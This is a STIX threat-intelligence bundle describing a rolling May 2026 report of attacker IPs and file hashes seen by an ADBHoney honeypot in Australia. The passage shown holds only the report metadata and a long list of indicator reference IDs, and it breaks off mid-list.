{
  "id": "bundle--6d6c76e2-1d25-438f-ba02-45d0f7348bf5",
  "objects": [
    {
      "created": "2026-05-01T00:00:05.280Z",
      "created_by_ref": "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
      "description": "Rolling monthly view for May 2026 of IPv4 addresses and file hashes observed by ADBHoney on a T-Pot honeypot. Each run looks back the last 1h and appends newly seen indicators for this month. Location: Australia.",
      "id": "report--6d6c76e2-1d25-438f-ba02-45d0f7348bf5",
      "labels": [
        "threat-report"
      ],
      "modified": "2026-05-31T22:00:01.704Z",
      "name": "ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "object_refs": [
        "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
        "indicator--dbce38f0-6cb0-4311-8e7e-7f55b524e8fa",
        "indicator--5b51f46b-84f5-4083-9c90-d36ed4dd1472",
        "indicator--360d6ee1-32e9-4eda-bb22-0b7cb27f2688",
        "indicator--a2c25ed9-e9a7-4809-a5ea-3e6a66f140b2",
        "indicator--bbfe1f7e-cd81-474c-93cb-3fa65a7bebb6",
        "indicator--0c0a0934-74be-4928-a002-a96ef794af68",
        "indicator--1a0901fa-d741-4da9-a60b-97a69d47d613",
        "indicator--fba92a90-9d22-48a7-8560-c4db86d31819",
        "indicator--d93b352e-3ee8-4040-9fc4-b208f99b1032",
        "indicator--30b43fe2-ee1b-4799-b868-cf7be8d237a6",
        "indicator--373f8ec0-9e1d-4509-91c0-177e4509ce2a",
        "indicator--7a8de1a3-e157-4b94-8f8c-bcb8e26961ad",
        "indicator--aab9205b-cfb8-419f-90ac-fe0d25d4ec84",
        "indicator--76295ad3-0956-484e-bd01-dfc6c8d4f910",
        "indicator--fe62d51d-cbc7-403a-bee8-533d3af4a035",
        "indicator--8ee06b16-8609-48a7-9bd2-33e4777c12db",
        "indicator--8500c47c-195e-40ad-9462-3955250249c9",
        "indicator--8c69f4a8-2eb9-449f-a5d5-0f61f7f80db8",
        "indicator--fa959848-809f-4859-9dc9-977f9eb86799",
        "indicator--35d38c42-2014-45d7-990c-5c36ad7c1b1a",
        "indicator--41773983-b4bc-4d8d-970f-53e3f8782ed7",
        "indicator--15ba7dfa-ecfc-452d-99f2-108cfb560f6e",
        "indicator--9b094b0f-c450-4849-b756-bb4763867b1f",
        "indicator--12473e1f-911c-42d7-9ba5-3db903a5fc3c",
        "indicator--3ee4f5be-2a94-4973-b5a3-b295af94509d",
        "indicator--32f6bfcd-4ac2-438b-b315-3b97f9dc5f0d",
        "indicator--225ef7a9-c5da-4dfd-8eb1-14b60b52ac2d",
        "indicator--f0dd717d-c416-4735-8e67-de1e9d142653",
        "indicator--84c2ee30-e779-41b6-a9fa-588df066ca4e",
        "indicator--a892d013-918e-46d4-b7e7-15e8ea66b643",
        "indicator--1068dbd8-cfd2-4987-853b-11ddb0cd9d1d",
        "indicator--71bae21a-5139-4a9c-9584-5a709c03c3e1",
        "indicator--889d01bc-c7a5-4179-be83-7022715816be",
        "indicator--6592e9e6-b693-49d3-ac17-8bbb1805adad",
        "indicator--2b4016ee-e7d6-490d-8bae-4d3c4aee8acf",
        "indicator--f1c04873-7208-4f7a-8d22-ad5028350d27",
        "indicator--8426e6d9-857f-446e-96e9-e46de84df6a3",
        "indicator--6a89547a-2adc-4bac-a737-e768959d488d",
        "indicator--7cd29cf1-b1a8-44c4-aede-6f8d7d592b2d",
        "indicator--c0e24cad-438a-4cf1-adfe-55ac6640e7cf",
        "indicator--b5f420c3-3465-4128-b498-84536fd876ee",
        "indicator--807ce508-98da-4f29-9dee-aead1c4e0882",
        "indicator--d3b3447c-ab29-48aa-aacf-8bf3e358df24",
        "indicator--b44871fe-900a-4715-84c6-d6922faeb33b",
        "indicator--db713fa9-f38f-49db-a1f0-10be71522e52",
        "indicator--6c2af497-1212-4ab7-bb4d-180ff013a15d",
        "indicator--50e7e827-f670-4279-ab54-478544e0498b",
        "indicator--b0a2c041-a286-4443-9375-212b4f3c80bc",
        "indicator--be36b9a1-9049-4919-b904-9884df3c4d1d",
        "indicator--e144f8d7-9ba7-448e-ad7e-1ec66d9ad4d9",
        "indicator--6b1b68f3-1dad-4432-ab40-fc197fd238b4",
        "indicator--df43089e-9472-4f28-93fc-89375b7e9607",
        "indicator--6f5e3279-4ea2-4006-9e1f-b7b64199cf7e",
        "indicator--3499897d-aef7-43a3-8ba3-ba64f7196765",
        "indicator--f15433ca-ea71-4e3a-a813-05671a711164",
        "indicator--e7079ce2-6965-4370-b216-6923ce899deb",
        "indicator--d99b5f9a-f339-4271-abd4-600aad94c40b",
        "indicator--219d2a84-e88e-49ae-a266-62e60a3208f8",
        "indicator--3a1edd04-feb5-4858-8f89-324ac684c362",
        "indicator--e482bcba-4809-4b02-97ab-175d683befe1",
        "indicator--b55f19d7-1993-4f5c-8acd-7eaa9f6e90c8",
        "indicator--9a834683-18dd-48ea-9313-2e8e9d1d6ee2",
        "indicator--9c822a0a-3bc4-42ce-83fd-887b73999867",
        "indicator--f981dfc4-cad1-4621-a9ef-9c338e8ac174",
        "indicator--975452ec-3bdb-4a4c-9f89-e36a312e0879",
        "indicator--a4489480-851c-4fad-9e58-dfc4d751664c",
        "indicator--be071703-683d-47ca-95b1-c1c300a940d1",
        "indicator--80bff7c6-39f7-4578-b938-64deec9452dc",
        "indicator--05d2696e-b8d7-4531-b8a4-7098ea3d61b8",
        "indicator--fbe3db7f-7751-43ff-8353-96735979d23c",
        "indicator--62c6db36-0b1c-436b-94bc-25c08dad14a8",
        "indicator--bd25ad6b-b3f9-4946-9b12-058e838f9c76",
        "indicator--8254e44c-e3e4-47ce-a0d2-9692d2fddad9",
        "indicator--cded6b0a-f596-47f4-bb89-8d1d9360182c",
        "indicator--c56c651d-fbc7-4369-8be5-c5a178a74944",
        "indicator--150ba5d1-ad89-41ba-afba-a7ee43b2f839",
        "indicator--d1439f59-be31-4c93-88a6-01abfd32f3c0",
        "indicator--c540b2c3-abe0-4d23-a90c-2735d593ae5a",
        "indicator--8d3304c9-64e7-4c62-80bd-1b76bfb6c84b",
        "indicator--c6cbb247-dd37-483f-a8b9-463a8ea737f2",
        "indicator--17f0557e-2305-4677-929d-05b8df41024a",
        "indicator--e62324f0-7c38-4303-a9c7-efca83003bc1",
        "indicator--89892f13-9238-4e1d-a526-87712c1f7e9d",
        "indicator--86714b6a-2bd8-4d2c-b1bd-14b75bae4aa8",
        "indicator--5c5c9721-40ce-4e9e-8254-7827fae81c0e",
        "indicator--7287af32-b684-4715-b218-8ea60008e92f",
        "indicator--f465b2cd-8f22-46f2-869a-ff125a4cc6c8",
        "indicator--962e4b36-cc3f-4ef9-a80f-9819dc1a27dc",
        "indicator--af73cc57-59ed-40a7-8fd4-c2a85fd31780",
        "indicator--d210e9dc-0b54-4d48-baab-17b6e28a40fd",
        "indicator--33cb0237-91bc-4644-a884-9579246c5d7f",
        "indicator--3fa6920c-983f-47c1-9424-26bfe342bdb5",
        "indicator--aae1fbeb-ded2-458e-a0cb-bfc0057643db",
        "indicator--e44ba671-8e20-4856-983f-6fb416831236",
        "indicator--2d56a2fb-271f-4ca0-8020-ce57775ecdb0",
        "indicator--5b185cba-fd0c-46af-b2d0-a276064dcb1b",
        "indicator--ff303db0-de6a-4d67-9300-5e4e950aaf38",
        "indicator--550c7e65-bd85-4fbe-a011-96bdc6585437",
        "indicator--0e412c0b-5566-476b-b33a-da4f3ec0d561",
        "indicator--522cbb71-867a-45ac-8d00-772294411368",
        "indicator--cc6673cb-34d0-40c5-bd8f-9024dc01b16d",
        "indicator--af51f86d-0d3a-43f0-aa5b-aadecc547e79",
        "indicator--a71551c8-c6d1-4a93-ae50-2cdd5e75a482",
        "indicator--97e8359a-20a7-4946-9375-925af9f0c9fb",
        "indicator--7a12eaa8-bbb2-428d-a1ea-088682daacc9",
        "indicator--0b798b7d-eb47-4720-9bb2-ceddec9fd903",
        "indicator--f10cbed5-d0ed-4ada-90a3-e8d99d3c5404",
        "indicator--611221d3-e979-495c-96eb-270e63302a85",
        "indicator--3c3f81f0-1b43-4b77-a058-307cda5ab537",
        "indicator--b3bd758b-a077-43da-92b0-924961c3d671",
        "indicator--4aa3fa5e-94f7-4599-aa05-7e75dd9d6c67",
        "indicator--fc3345b3-0ffa-4556-8ff1-587470ef8dec",
        "indicator--97d3acc8-7594-450b-a7e8-dd729e1d90a6",
        "indicator--2fc731a5-b7c5-4dc3-9a18-24be42a868d3",
        "indicator--db75d633-ecf4-40f4-82d4-9210760eabad",
        "indicator--0a161678-6046-4697-b322-8d513e293ef7",
        "indicator--e4e1d136-1f09-4ccb-bf86-f14d07a82d87",
        "indicator--39a45b45-38c2-4098-9098-ca15ab59db1e",
        "indicator--38ca8d54-9e5b-41df-9697-b387da33efce",
        "indicator--b23a0f07-7d24-459f-97d9-4ac708df2983",
        "indicator--08d430fd-0d1e-4038-afbf-30642403a119",
        "indicator--899516e4-de68-4bed-b408-abc9408e82e3",
        "indicator--b75b876f-bdfa-4fa0-8019-ed9e32e32864",
        "indicator--c6fc1362-0c58-4ec2-a4bc-531e6bf90127",
        "indicator--8b414dbd-7718-42a8-8264-9f9f3827c15a",
        "indicator--d9950236-a42d-4d75-85d2-718945a87d9c",
        "indicator--a10cbd1e-2350-40e7-b491-c68f40ab5327",
        "indicator--b8593a9f-04f4-4e68-a927-8391bc656cb3",
        "indicator--39836e0b-f26f-4ece-a2d3-90fca6b2ff95",
        "indicator--f225b469-4532-4094-b28f-e4563342d2ac",
        "indicator--8cf1f56a-3033-4fd0-8236-8c4f915affeb",
        "indicator--162b6610-0fcf-457a-81fb-965fa0aed8f7",
        "indicator--9951eddd-bf43-4301-abff-f6e32d6148b7",
        "indicator--faef7e1e-97b3-4e1a-89c0-1e114ecb1175",
        "indicator--0a41d434-f23a-4046-a897-0f7ed805d9f1",
        "indicator--d89d5984-cc9d-4592-b218-465d8cc4627b",
        "indicator--50ad22dd-37c0-4a60-9a8e-429288ac8567",
        "indicator--7ee49255-dd72-4d64-9ca0-81b255a99fe9",
        "indicator--8ccfdff4-6608-4119-8a0d-7541906d3f19",
        "indicator--155b0016-3972-48db-9719-5d5a7ae3df20",
        "indicator--37f601b4-2b4b-460b-8d80-c4270c3bda56",
        "indicator--1b096290-cd30-4bf5-982b-5f61b05af088",
        "indicator--dcf217da-f487-4568-ace9-c02f2fed2a2e",
        "indicator--91229287-3c4e-4160-9431-3c36786593e4",
        "indicator--bf311638-a2e6-49de-bf99-f702e7878695",
        "indicator--450d87db-384f-4e3c-8fb9-27cef27043c9",
        "indicator--53caf1d7-59f8-45b7-9cc1-3ca982d61064",
        "indicator--d37e9f82-fbb9-4512-b69e-7a4bbd713d56",
        "indicator--7777d742-673f-4f89-966d-c23647ca8bd9",
        "indicator--c7e9d373-8227-434c-aba7-967688c47b24",
        "indicator--14a50adf-4814-4702-b6fe-26081b14851a",
        "indicator--48861b80-2455-458f-81ff-c2946c953bfd",
        "indicator--4b1f7494-65f5-4591-92a2-db898ea6764f",
        "indicator--8f87d34c-566c-494c-99fb-4a5fbe439dc1",
        "indicator--cc777b25-3f97-4793-991d-f1b478e3b2aa",
        "indicator--04744fd5-7722-4c03-bd77-ef1a57e962d3",
        "indicator--cba2dd8b-0201-4ca9-98d6-beb9e5ebfcc2",
        "indicator--b5dc377a-ddda-4fdd-9240-690fbf9abb13",
        "indicator--6b456dd2-a744-48cb-b569-c3ed40d662bd",
        "indicator--33008aef-0e5e-4d08-9fd6-f0885ae2c4bd",
        "indicator--5e15adf7-4fef-4657-9c7d-4bb4dbf5ab45",
        "indicator--c1738ff5-b026-415c-b66c-db8645276fb5",
        "indicator--bd579c42-2e22-4d01-9baf-46ff83f8530a",
        "indicator--b4a6ba9b-f1aa-47dd-9f9f-7bd4aaa84437",
        "indicator--b9c8ab2f-a5f9-47ff-a1ba-7678230fe333",
        "indicator--93c62a19-9ee2-425b-9f54-dae15f550671",
        "indicator--3553a2cc-4306-4ce3-ad8b-3af79e5ba747",
        "indicator--300d0377-6760-4c22-8067-e95c95e805f5",
        "indicator--311d868d-ae88-4d1a-93ff-d0ef8be770ba",
        "indicator--1d8fc362-08a9-4969-b967-8fb71a30a12f",
        "indicator--91bee81f-d6a7-4128-8f96-e88a337af777",
        "indicator--fb1ffcfc-e7c8-45da-bdc5-3e9d4a5989e0",
        "indicator--3850d85a-008f-472f-9687-eb1443d99402",
        "indicator--531312b2-78a0-45be-8e4a-91b67361a85b",
        "indicator--1a7e7261-56dd-4ca5-b9ea-e2939918034c",
        "indicator--5b40c96e-f2b5-4446-8918-3e26afac8693",
        "indicator--0cc38b79-e4ac-4544-99a4-04ee4733c5ae",
        "indicator--3f14ef48-ffff-4b15-9335-dc1083f170ba",
        "indicator--0dbe7bca-0291-4371-a5c3-1c225442a2af",
        "indicator--96c618d8-81ba-4952-a628-8b9bfef31cf2",
        "indicator--421dc0a6-0a07-449f-a3f2-43ca32bb2978",
        "indicator--860f9a23-245c-4f9b-958c-f29c7655e776",
        "indicator--2711ff05-53d9-4907-8a30-2005154f51c1",
        "indicator--717641e0-55f9-47e1-b1a5-56125fc1aea8",
        "indicator--b0b972e5-172b-4774-8383-0a4fcd54eb3b",
        "indicator--9a780750-9c55-4470-a6d5-5062d8cef650",
        "indicator--b51d1f02-ce31-4d05-8c8e-55795d601ba7",
        "indicator--d408e0cc-1d28-4d98-a087-cc17c4b5dbe7",
        "indicator--b933a317-3678-4f88-9822-2bfa70680431",
        "indicator--938bf1e1-f9e4-4ed5-9bf6-6f68ff527f2e",
        "indicator--4f4a2851-f9fc-40eb-a980-3d471a8ff54c",
        "indicator--6aba4f13-5657-4eee-9e21-85dea17eb1a9",
        "indicator--3e9e08fe-527f-4543-9e11-b95de252f19a",
        "indicator--326d743d-488a-4fe3-9a45-c9da414544f4",
        "indicator--e3f25d2e-2d4c-48b8-9c14-c9f375a72d10",
        "indicator--9c9f44ea-a4f8-4f2f-9918-97a835615f0f",
        "indicator--9f0c0581-4492-4bc8-90a9-6fda960bc7a8",
        "indicator--cc0f9641-d1c4-4acf-8690-876185165e80",
        "indicator--adf4289a-2c0e-43fa-86c3-2d12d1b72d15",
        "indicator--7d3602e1-b525-4ee8-a672-e522cf764c4d",
        "indicator--55939219-7c87-4d61-9ac7-2b1dcb6e387c",
        "indicator--8976ba81-e50d-4e46-b94b-fa6abafc94da",
        "indicator--21d34aaf-0fd9-48ba-a7ee-f1710944abc6",
        "indicator--28a8001a-6740-4e7d-a714-707e289510db",
        "indicator--683d0594-2336-47bc-bf06-48eb8913bd54",
        "indicator--a4783fb3-c137-4404-82bd-bd67c6780023",
        "indicator--524d3ced-a65e-4fbe-bac2-764712ef35e0",
        "indicator--8a06f8d5-970c-4357-986f-549c4cd5242b",
        "indicator--79c43c0e-9ddc-46de-b39d-947fa573451e",
        "indicator--6d345e49-3204-49f6-bdbe-246bee65b0fa",
        "indicator--4df96763-9d8a-4c62-ad28-d9aa12669574",
        "indicator--8e99815b-faef-4471-af26-cafc81e63687",
        "indicator--56945d45-42e6-4288-92b5-710b2817ecb0",
        "indicator--e968fc28-8429-45eb-82be-fc59c41e60f9",
        "indicator--332a1acd-e317-481f-94b0-d7580ab16c5f",
        "indicator--6c0f6e20-6f4d-455b-a9d0-8532c2a84abd",
        "indicator--6c50f4cc-e9e9-4e69-a934-dff55685d946",
        "indicator--d76041f9-e0b7-4cbc-be50-0f2adf94d3db",
        "indicator--200bbe70-c4b9-43ae-be66-29b8490f7e66",
        "indicator--6e21bd1d-6bfe-485f-8daf-5246748dce0a",
        "indicator--06146911-f05a-4a6e-99c3-f1dd98759d0a",
        "indicator--0a61128e-a8aa-4cf5-ab7e-b8306fa52b0a",
        "indicator--a5fc004f-05a7-45ca-96ee-057817fbf7f9",
        "indicator--91518c00-23df-4495-8f4f-7cc0907d92fc",
        "indicator--4d5dfcb2-ee82-4560-8804-f5e838e5849f",
        "indicator--a66b6dbb-7a7f-4ea5-babe-ea42e39ed2ac",
        "indicator--7c5cd45b-21f5-4509-8add-4624372b32c9",
        "indicator--3cf770d5-f243-438f-82ce-80499fde3507",
        "indicator--43f735c7-92f9-4d00-9ff1-d630534ad600",
        "indicator--08cc1820-4810-49df-a772-f60ec228f9b8",
        "indicator--91b31b0d-74e1-41e4-8ec7-19ca8048db04",
        "indicator--c64ff629-626b-47aa-88dd-88895773959a",
        "indicator--8f5586f5-c15f-4cc8-b197-43ff3b6e8f21",
        "indicator--960f08b0-4db9-4e74-a62f-493560122e79",
        "indicator--4cc7e54d-c6a1-49a8-a1dc-d655cca9e729",
        "indicator--9c9a0ade-e06a-465b-8ba2-1fe732aa2b8b",
        "indicator--5e09c38e-d42d-4262-8043-b0de6740a2c1",
        "indicator--fe3cc32f-3050-4378-849f-dd37d5d7b5ee",
        "indicator--6aaf8fc2-8e4e-45a0-b75e-fcaf50fd40dd",
        "indicator--9907f80c-4f6d-4371-a04e-9ee9faef54ba",
        "indicator--aa314866-376d-4f59-b34d-f4f15d975f71",
        "indicator--97b62b9b-a2b8-4031-8d52-d4ad500469bc",
        "indicator--037eb993-f383-4b53-8c18-17537e92d9d6",
        "indicator--dcbef8fd-c501-4465-865f-3c0640147821",
        "indicator--47359ce1-2970-4161-85b2-b280a9703ca7",
        "indicator--4060026a-dcd2-4272-9c37-91cf9de79df1",
        "indicator--16132585-b6aa-4676-ac60-ec57d3c5e05a",
        "indicator--f6d69de1-561b-4fef-b075-059304ce3478",
        "indicator--2e29adbe-0b00-4a70-b56e-19a91b9a4ad9",
        "indicator--b3dabbf0-dcf1-4995-9638-1f8af9bfc26d",
        "indicator--9883db7c-0e69-4167-8c2a-c2822e93b1f4",
        "indicator--e0ac44a8-cb39-4410-b25d-52f5aa257ffc",
        "indicator--320d9f01-7a42-4d45-8087-def48c977a60",
        "indicator--b5b173be-454e-4f84-8349-25941f02d669",
        "indicator--c212a3c9-4478-45ab-b0e4-7a21f60f4e3c",
        "indicator--c8f46fb6-6ce9-4f0c-9801-92cac08f5965",
        "indicator--1efb4c12-d01a-4427-86d8-506e6be83dba",
        "indicator--d3601e30-8a90-411f-a68e-70238d06d406",
        "indicator--156df059-be65-43f6-af2c-55a085bb8321",
        "indicator--a312bd9c-4da1-40d1-8740-6851dd0d37a8",
        "indicator--10cb420b-19cf-4077-aa0d-6c2b3769ed97",
        "indicator--99655e23-7d86-4b07-921a-7802fee585be",
        "indicator--b5a667a5-1973-4a7b-aa5f-fcf46e525154",
        "indicator--0697e1b9-ce52-4ae6-b703-a9dcfa7e5f75",
        "indicator--011fe444-02fd-496f-9145-a7129ea81d83",
        "indicator--acbe1e18-a1be-45f4-b6fe-057a2c03353c",
        "indicator--27051b3e-0a19-4a4f-82c6-68e4248be625",
        "indicator--b592bc8f-2c09-4e48-85e3-cd47f67d10d8",
        "indicator--0addf2a5-cd8c-418b-89ca-fdd7cbce45c6",
        "indicator--eaab48f8-d493-482d-80c4-a12a4e58febe",
        "indicator--a3b5299d-5cd6-4396-9102-0ef0b144f4f7",
        "indicator--90ac5881-232c-4c98-9e91-931498483dab",
        "indicator--af069c94-a50a-4298-877a-70c25e9597b4",
        "indicator--c3942ecd-3dbf-49a0-8f30-c7aa511463a9",
        "indicator--1a803e74-0909-4ad2-9a6a-cfdc2dedda61",
        "indicator--5ebd7a81-3e94-495d-8872-41311d8a7ba7",
        "indicator--d5909e65-1e38-48f8-a859-45afbd443551",
        "indicator--4c48a457-5f3e-4398-95fb-cc450942836f",
        "indicator--59e11966-28fe-42de-9a19-03b81066df88",
        "indicator--8c1d030d-1074-495d-a9ed-e57d52068278",
        "indicator--615c77e1-f080-44e0-9282-f46ecf976f28",
        "indicator--ab102450-6f31-4c69-ad8d-d359c1a0ae35",
        "indicator--0381d58a-c5ef-486d-a139-cc1c9f53ba93",
        "indicator--b7323f3b-ccdc-44b6-8551-e468eff68682",
        "indicator--df3bda82-f169-46b7-8dcf-b6730b285b52",
        "indicator--e9d6d28b-d5a0-49dd-bdce-0bf93c0e6d34",
        "indicator--467b93d4-41d0-4e89-b3cd-9e39144b97af",
        "indicator--a546a458-0790-42fb-807e-976f8a79d761",
        "indicator--c9469108-649b-4089-ac01-8aec7dbb7d18",
        "indicator--309f1ca7-1bd1-41df-9dd4-7abdbaf47b25",
        "indicator--8a6fe3c3-a241-42b9-b876-fa09e69fc291",
        "indicator--b35108f2-40a9-44cd-8ec0-97c612ad48d2",
        "indicator--779633c8-45e4-4e67-9713-8d5a936eaa67",
        "indicator--d9b5c74f-09c6-4b4e-b6e5-672c57f8d71b",
        "indicator--e6feed4a-77d7-4390-8dac-0758f735f136",
        "indicator--80c5eb2e-d89b-4292-8d3c-2f4b380fb639",
        "indicator--e1648b85-cb6e-4e2e-9da6-1c905fa0071f",
        "indicator--425e2159-64ff-4470-a82f-c229e7ab68f4",
        "indicator--cc93e55a-b1a7-4865-b2de-67a9be67dfd2",
        "indicator--4bd8cee0-b6d2-408d-827b-11191f56a86c",
        "indicator--1c5744e6-2553-4dc6-94d7-f377ea011233",
        "indicator--31d55f05-7dfd-4fe7-a8b1-3480d47159b4",
        "indicator--44e55839-4814-4c1c-83a3-fefb0764ba16",
        "indicator--2866abce-9715-4ec2-a907-d9934dd8cc8c",
        "indicator--c786507c-413b-46cb-90b8-cec7b61c7cd7",
        "indicator--ab70e922-93d7-4f55-8eb6-3117ca00d3b8",
        "indicator--a7477cf9-19fb-4124-8e64-b86faae37c57",
        "indicator--4a5b1e8e-5d94-4bef-9a9e-bc6f2cce5a92",
        "indicator--a85a029b-2ac4-46e7-aff3-a7d137560006",
        "indicator--25ce5a48-c559-46a8-8651-222a04aff4fa",
        "indicator--fbf59f30-d039-47d2-a3b2-d85639ec2d96",
        "indicator--7ced60ea-b750-42e7-82df-3c1eaece21bc",
        "indicator--6aed754e-c7b1-475d-9044-7cedcf45f504",
        "indicator--f938593e-9be1-45e8-9d34-eb9448f40dbb",
        "indicator--b0e485a1-3e9e-4ddb-b55a-eff5fa80034b",
        "indicator--fbedbd12-88ff-416c-83bc-c4ae61ea5502",
        "indicator--fd91c931-e9b9-4949-9ee3-98c30fac0bfe",
        "indicator--3634fefd-9e4b-47c2-b46e-633730795603",
        "indicator--cb290b49-f3e9-4e99-84a4-83c9fb0630c1",
        "indicator--240dcbeb-8450-45d5-a801-3140ebdf2f3d",
        "indicator--7140f281-05a9-44bb-96a1-47a40a63d523",
        "indicator--615bad15-c40e-4599-8884-6ac0c0c53b0c",
        "indicator--de585b8f-8079-464a-a3c5-01b9559ac935",
        "indicator--a12a8e55-5b48-4816-bf44-30a33e278180",
        "indicator--d1c25c2a-423f-4e69-8675-489f15f8e4ec",
        "indicator--a67bb72d-406a-40a5-90bc-23797134b17b",
        "indicator--344302fd-5f3f-4b25-acc6-377ab817ed6e",
        "indicator--647ff8cc-993f-4c5a-a07a-e8ec0b286ad2",
        "indicator--95be802a-f06a-46bc-a5f4-bdc5dc4ef092",
        "indicator--cf3cab2b-f3e0-4511-97fa-54caf9ecc254",
        "indicator--aec7f65b-f516-4e68-8d66-40ba16517180",
        "indicator--b64b7f13-803a-49ba-927f-cec258a4ec47",
        "indicator--0a7d8ee7-d156-47ca-8a5a-4fad40754065",
        "indicator--0f2df13e-8a4e-4000-af49-08485ad6a5fc",
        "indicator--752a2bf6-750c-4124-b766-67541cbe0fbc",
        "indicator--78b56f41-796b-4072-a80c-4180a9aa4236",
        "indicator--811359b6-ae27-4843-9545-88d9a92dcb29",
        "indicator--89255984-9d79-491a-96ee-b9df5efc25ad",
        "indicator--9b1b4e6f-67ca-41da-92b5-bcf209bd6ce7",
        "indicator--827f977a-c020-4860-91d5-0c172f348da9",
        "indicator--0d65be17-e7f4-4258-b2f8-e271667fe720",
        "indicator--57eae7f8-7def-4042-be30-0d70181f4535",
        "indicator--537e4fff-6613-46f4-99d3-ef3d15f1783d",
        "indicator--a77c1360-0aef-4a92-a9a9-b1d494c9aa29",
        "indicator--ea0962c7-026a-4636-a8d0-44b5b77e4b7e",
        "indicator--8dbf2e62-9fa7-4f9e-8b32-b4425ffe4968",
        "indicator--182707d2-c789-40c8-b64d-ad3a5df02447",
        "indicator--153a4fea-847a-4f8e-b1cc-418ca6100666",
        "indicator--b41f034b-f306-4e53-a2df-a592fda773ee",
        "indicator--bdfe2d0f-a9dc-40c5-b305-8a3c39dac5b9",
        "indicator--606bfa23-0168-4d6b-98cc-ac74cb900001",
        "indicator--7e8f6048-be0e-4049-bdc6-61191beee7c6",
        "indicator--55b51e36-f9d4-4c23-8c71-d4bdcb63fa2c",
        "indicator--c9d3ff3e-8217-42ba-b8f1-d376d149894a",
        "indicator--2dd4947b-f37e-41cf-9e28-3c8c8e046123",
        "indicator--ca220309-d155-4990-a662-e0e5b14673f7",
        "indicator--a43de949-0439-4afd-9586-a48a3c12574f",
        "indicator--d1fb97a8-4334-422c-897d-c45a6fc507d2",
        "indicator--f0912112-b13a-4795-93f0-3949ae5c98e8",
        "indicator--80e19a3e-39fc-45ef-9661-85a3b7283bbf",
        "indicator--d43545b1-7146-445b-b9f6-71d95d7e873f",
        "indicator--a79512a6-01ad-4462-9425-099d7b32038a",
        "indicator--3fd075a7-9ac8-4fc7-8a85-be1d33e855f8",
        "indicator--41136621-067a-490c-a5b4-b9025ddce255",
        "indicator--dd5006ba-4a6f-4e09-b581-6d3b975108af",
        "indicator--40609947-201f-4968-be59-258c0303bd6e",
        "indicator--1d64abbc-f5f0-4e4c-91e8-90731e31d389",
        "indicator--5af6ab3a-f94e-4db2-96f6-8be6d902a66b",
        "indicator--9e02c3da-68e0-4e49-817d-8c0f62937e93",
        "indicator--284219b6-ad5e-4b70-8723-1eb1c3a4b472",
        "indicator--89e5d636-66f8-4ccf-813f-765354c97cc3",
        "indicator--2c478c5e-ad03-4366-b453-60cf52fbb79c",
        "indicator--36b88e9b-210b-4e54-8f9f-4d4ef76c626b",
        "indicator--e080192e-88f7-4026-b7b2-dde901307c67",
        "indicator--1fc5f55b-50bd-4d6d-abf6-dfbff3374ac9",
        "indicator--04a8387f-61ea-48d8-974f-b9dd09f40661",
        "indicator--8e2e98c6-5888-4fc9-ae89-7cd66f868578",
        "indicator--067af0ba-ef1c-4894-a7c7-d5f4e703eb8f",
        "indicator--95a0c191-603a-46d8-b2e5-f8e668a8064b",
        "indicator--e7aa8e16-c80a-427a-97fd-312be9823231",
        "indicator--e7ffe48f-6ec9-44c9-8ff8-252daf9cffa3",
        "indicator--32c3734d-15da-4c34-8437-132cbd79ad16",
        "indicator--b346779b-14c5-4658-b23b-a889b130da4b",
        "indicator--152e91b9-28d5-4c34-a580-fbe7c63d661b",
        "indicator--fe34165e-0a25-4d8d-932d-9d2663242354",
        "indicator--1d8e2ceb-373c-4501-8ce9-fae781479898",
        "indicator--41de2997-82b2-44f8-bbc7-17862beae9d9",
        "indicator--b20a88a9-9f03-4d8a-8f4c-3ba2dd904a22",
        "indicator--1d5aa606-ed4f-436c-8ee5-9e1c2238d8d5",
        "indicator--c4d073fe-38a1-461f-942e-c24e1eff2e0b",
        "indicator--22a0ddc8-f869-4c8d-8fd8-07b1c5344457",
        "indicator--4f5dc13a-c388-4e35-b068-03f60fc05962",
        "indicator--ab548dea-6e91-4796-bd9b-83a841149d78",
        "indicator--d2279eb2-ef72-4cc7-a6e9-b3b96abba21d",
        "indicator--5a749a7b-c7b4-4212-a63e-ccb71460ea6e",
        "indicator--e2300726-d818-46e7-bca4-da0459632443",
        "indicator--c6781ba7-f62a-4687-ba7d-a73ad886309c",
        "indicator--8dcdf15c-2831-4c0b-b009-318b5b801953",
        "indicator--5c8a9d13-86dc-414b-82c4-3d24635bec48",
        "indicator--b5f35135-8c0b-48d8-ae27-9d64a92ac7a0",
        "indicator--704e807c-7bbe-4fc4-b696-f712cbbdba19",
        "indicator--3a64d88f-e4da-4e6b-a8f9-2ead4e6aec93",
        "indicator--2c14786c-2bb8-4832-89fb-7645381ce44d",
        "indicator--b7e35ecf-fc31-4e3c-8ea8-61635a7c36c3",
        "indicator--06d39c1c-aa83-4520-ad8e-71384f387b02",
        "indicator--4986a7c1-2b1f-40d5-9101-166532ed0e0d",
        "indicator--e965712b-4190-4068-a641-76da3d6ecf4e",
        "indicator--85f50655-4d94-4df0-9133-6c87607f7791",
        "indicator--8f9cbaca-3d30-4fb2-81d2-a5f084bf04c4",
        "indicator--9ce3c4cd-ae44-4196-804c-5686c8129863",
        "indicator--11818b65-9d9d-4dec-8e03-fab500715671",
        "indicator--fac7de62-a28c-4f49-be66-015409f7cfa7",
        "indicator--330f320b-4f3c-48ba-9e6e-b15f4095b47a",
        "indicator--236d157c-aeca-4486-ab6a-4d4012223d88",
        "indicator--5353ebd4-9c96-4e70-90ad-e31996bb176a",
        "indicator--df479334-1b4b-4bbb-be8a-1ede47aba674",
        "indicator--24bcdb43-e7a8-47d0-82e3-3aa864e0c04f",
        "indicator--ab64ad36-4563-48b9-ad0f-d65784ae043e",
        "indicator--1d925850-0ee5-4c8b-9342-1185ac885c64",
        "indicator--f68deffc-e16a-4131-acf1-a1abfc2bb9de",
        "indicator--ac470611-90a8-43a5-8ef5-e268fe52eb83",
        "indicator--3e5ec754-87e4-47fe-9e41-9645612b44bf",
        "indicator--435cb6ed-9823-49b7-8fc6-5255ae9bc6a5",
        "indicator--e5f98bb7-5f2c-48ba-8461-6f3e074b3c72",
        "indicator--07ef5216-53e2-4015-8a95-2912707fc9d7",
        "indicator--4f7ff9d5-9a91-4e49-9f6b-e7ad9918059c",
        "indicator--83cf0401-2069-4004-b084-764a3e58a429",
        "indicator--be46e74a-f17b-4b33-a1ab-b24a72102711",
        "indicator--9a992da8-0669-40c0-9ada-304d14552518",
        "indicator--c3b15e75-ac0d-4824-b253-187b7735bfec",
